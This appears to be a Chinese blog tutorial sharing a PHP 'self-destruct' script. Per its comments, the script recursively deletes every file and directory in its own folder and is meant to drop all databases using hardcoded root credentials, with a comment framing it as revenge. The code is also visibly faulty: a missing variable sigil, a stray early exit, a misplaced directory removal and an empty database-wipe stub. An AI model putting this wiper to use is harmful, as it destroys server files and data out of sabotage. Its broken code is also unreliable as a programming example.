PHP自毁程序(慎用)_PHP
本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:
<?php // +---------------------------------------------------------------------- // | Kill!! // | 程序将清除本目录所有文件、目录 // | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!) // +---------------------------------------------------------------------- // | Version: $Id$ // +---------------------------------------------------------------------- //----------数据库配置区域----------------- //复仇的力量是很可怕的,所以无需指定数据库,全删! define('DB_USER', 'root'); define('DB_PWD', 'root'); define('DB_HOST', 'localhost'); define('DB_PORT', '3216'); define('DB_DAMAGE', true); //为false时,不碰数据库 run(); /** * 主体思想必须光辉伟大! * * @return void **/ function run() { //删除文件 deletedir(); //删除数据库 deleteDB(); } /** * 呵呵呵,删除当前目录所有文件(递归) * * @return void **/ function deletedir($dir = ''){ if ($dir == '') { $dir = realpath('.'); } echo $dir; exit(); if(!handle=@opendir($dir)){ //检测要打开目录是否存在 die("没有该目录"); } while(false !==($file=readdir($handle))){ if($file!=="."&&$file!==".."){ //排除当前目录与父级目录 $file=$dir .DIRECTORY_SEPARATOR. $file; if(is_dir($file)){ deletedir($file); }else{ if(@unlink($file)){ echo "文件<b>$file</b>删除成功。<br>"; }else{ echo "文件<b>$file</b>删除失败!<br>"; } } } if(@rmdir($dir)){ echo "目录<b>$dir</b>删除成功了。<br>\n"; }else{ echo "目录<b>$dir</b>删除失败!<br>\n"; } } /** * 呵呵呵,删除数据库 * * @return void **/ function deleteDB() { if(DB_DAMAGE === true){ //start } }
